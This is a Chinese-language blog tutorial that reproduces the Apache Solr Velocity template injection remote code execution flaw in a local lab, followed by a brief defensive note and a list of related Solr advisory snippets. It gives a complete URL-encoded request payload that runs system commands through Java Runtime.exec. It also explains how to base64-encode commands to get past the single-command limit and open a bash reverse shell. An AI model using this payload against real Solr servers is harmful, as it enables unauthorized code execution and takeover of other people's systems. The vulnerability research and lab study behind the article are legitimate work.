Solr Velocity模板远程代码复现及利用指南

VSole2021-07-21 09:02:17

0X01前言:

据消息称,安全研究员S00pY在GitHub发布了Apache Solr Velocity模板注入远程命令执行的POC.目前测试,可影响Apache Solr 7.X到8.2.0.故本地搭建环境,学习一下

Github的POC:

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

0X02本地搭建:

1:在Solr官网下载8.2.0版本进行复现

https://archive.apache.org/dist/luceen/solr/

2:部署到Linux上

将压缩包解压到文件夹(任意一个文件夹都可以),然后进行bin目录启动Solr(注意不是根目录中的/bin)

在此目录打开终端,输入命令./solr start

本地访问端口8983

3:创建核心

先手动在/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下

添加核心

然后访问该核心的config文件,查看是否可以访问

确定config配置里的两个值均为True,如果不是,在第一次攻击报文中,修改为True

0X03复现过程:

Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。



然后发送执行命令的payload,这里先进行执行命令的回显.

Payload: /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

0X04构造EXP:

利用Velocity模板调用java语法进行命令执行,类似于传过去的就像jsp语法.这里有个坑,velocite里没有数组,改造官方POC,构造POC(exec(new String[]))就会出现问题,所以需要换一个方式,用base64编码的方法解决这个问题.


对数组的访问在Velocity中存在问题,因为Velocity只能访问对象的方法,而数组是特殊的数组,所以虽然数组可以循环列举,但不能访问特定位置的元素,如strs[2],数组对固定位置元素的访问调用了数组的反射方法get(Ojbect array,int index).而Velocity没能提供这样的访问,所以数组要么改成List等其他类容器的方式进行封装,或者通过公用Util的方式来提供,传入数组对象和要访问的位置参数,从而达到返回所需值的目的.


进一步利用,进行反弹shell利用bash反弹shell


官网POC,只能执行单个命令的缺陷:当存在|,<,>等符号时就会报错无法执行,无法进行反弹shell等问题,使用base64编码


http://www.jackson-t.ca/runtime-exec-payloads.html


然后在进行url编码,填入替换exec里的payload即可.

0X05防御措施:

攻击者可以直接访问访问Solr控制台,通过访问节点胚子进行getshell获取权限.目前官方已有补丁,在没有补丁的情况下建议增加solr的认证模块,设置强口令,减少被入侵的风险.

solrvelocity
本作品采用《CC 协议》,转载必须注明作者和本文链接
据消息称,安全研究员S00pY在GitHub发布了Apache Solr Velocity模板注入远程命令执行的POC.目前测试,可影响Apache Solr 7.X到8.2.0.故本地搭建环境,学习一下
F-vuln(全称:Find-Vulnerability)是为了自己工作方便专门编写的一款自动化工具,主要适用于日常安全服务、渗透测试人员和RedTeam红队人员,它集合的功能包括:存活IP探测、开放端口探测、web服务探测、web漏洞扫描、smb爆破、ssh爆破、ftp爆破、mssql爆破等其他数据库爆破工作以及大量web漏洞检测模块。
4月13日,腾讯安全发布Apache Solr 多个高危安全漏洞的风险通告,其中编号为CVE-2021-27905的服务器端请求伪造漏洞为高危严重级别,攻击者可以传递特定参数,使服务端发起请求,成功利用该漏洞可造成内网信息探测。目前,该漏洞的利用POC已被公开,腾讯安全专家提醒用户尽快升级修复。在中国大陆地区,浙江、北京、上海、广东四省市位居前列,占比超过82%。
2021年04月12日,Apache Solr官方发布Solr多个高危漏洞更新,漏洞等级为“高危”,腾讯安全专家建议受影响的用户及时升级到最新版本。Solr是Apache Lucene项目的开源企业搜索平台。Solr是高度可扩展的,并提供了分布式搜索和索引复制,Solr是最流行的企业级搜索引擎。CVE-2021-29262:敏感信息泄漏漏洞 攻击者可以访问特定的路径以得到身份验证和授权配置文件。Apache Solr 官方下载地址 注:修复漏洞前请备份资料,并进行充分测试。
0x01 前言在某次红蓝对抗过程中,要结束的时候突然发现了扫描器爆出了Solr-RCE-CVE-2019-0192漏洞。但是进行测试过程中发现存在各种各样的问题。0x02 绕过1进行测试,发现目标只可以执行单命令,返回字段比较少的命令。但是发现目标路由规则写死了,无法直接访问到.jsp的文件。又遇到一个问题,jsp的马子都有%号,这里不论怎么做 %就是写不进去。接下来解决为啥500就可以了,type 123.jsp查看一下。
通告编号:NS-2021-0014 2021-03-18 TAG: Apache Solr、文件读取、SSRF 漏洞危害: 攻击者利用此漏洞,可实现任意文件读取。1 漏洞概述 近日,绿盟科技监测到网上披露了Apache Solr的文件读取与SSRF漏洞,由于Apache Solr默认安装时未开启身份验证,导致未经身份验证的攻击者可利用Config API打开开关,从而利用漏洞进行文件读取。目前漏洞PoC已公开,请相关用户采取措施进行防护。
Apache Solr发布公告,修复了ConfigSet API中存在的未授权上传漏洞风险,该漏洞被利用可导致RCE(远程代码执行)。
前言在某次红蓝对抗过程中。要结束的时候突然发现了扫描器爆出了Solr-RCE-CVE-2019-0192漏洞。但是进行测试过程中,发现存在各种各样的问题绕过1进行测试,发现目标只可以执行单命令,返回字段比较少的命令。但是发现目标路由规则写死了,无法直接访问到.jsp的文件。
VSole
网络安全专家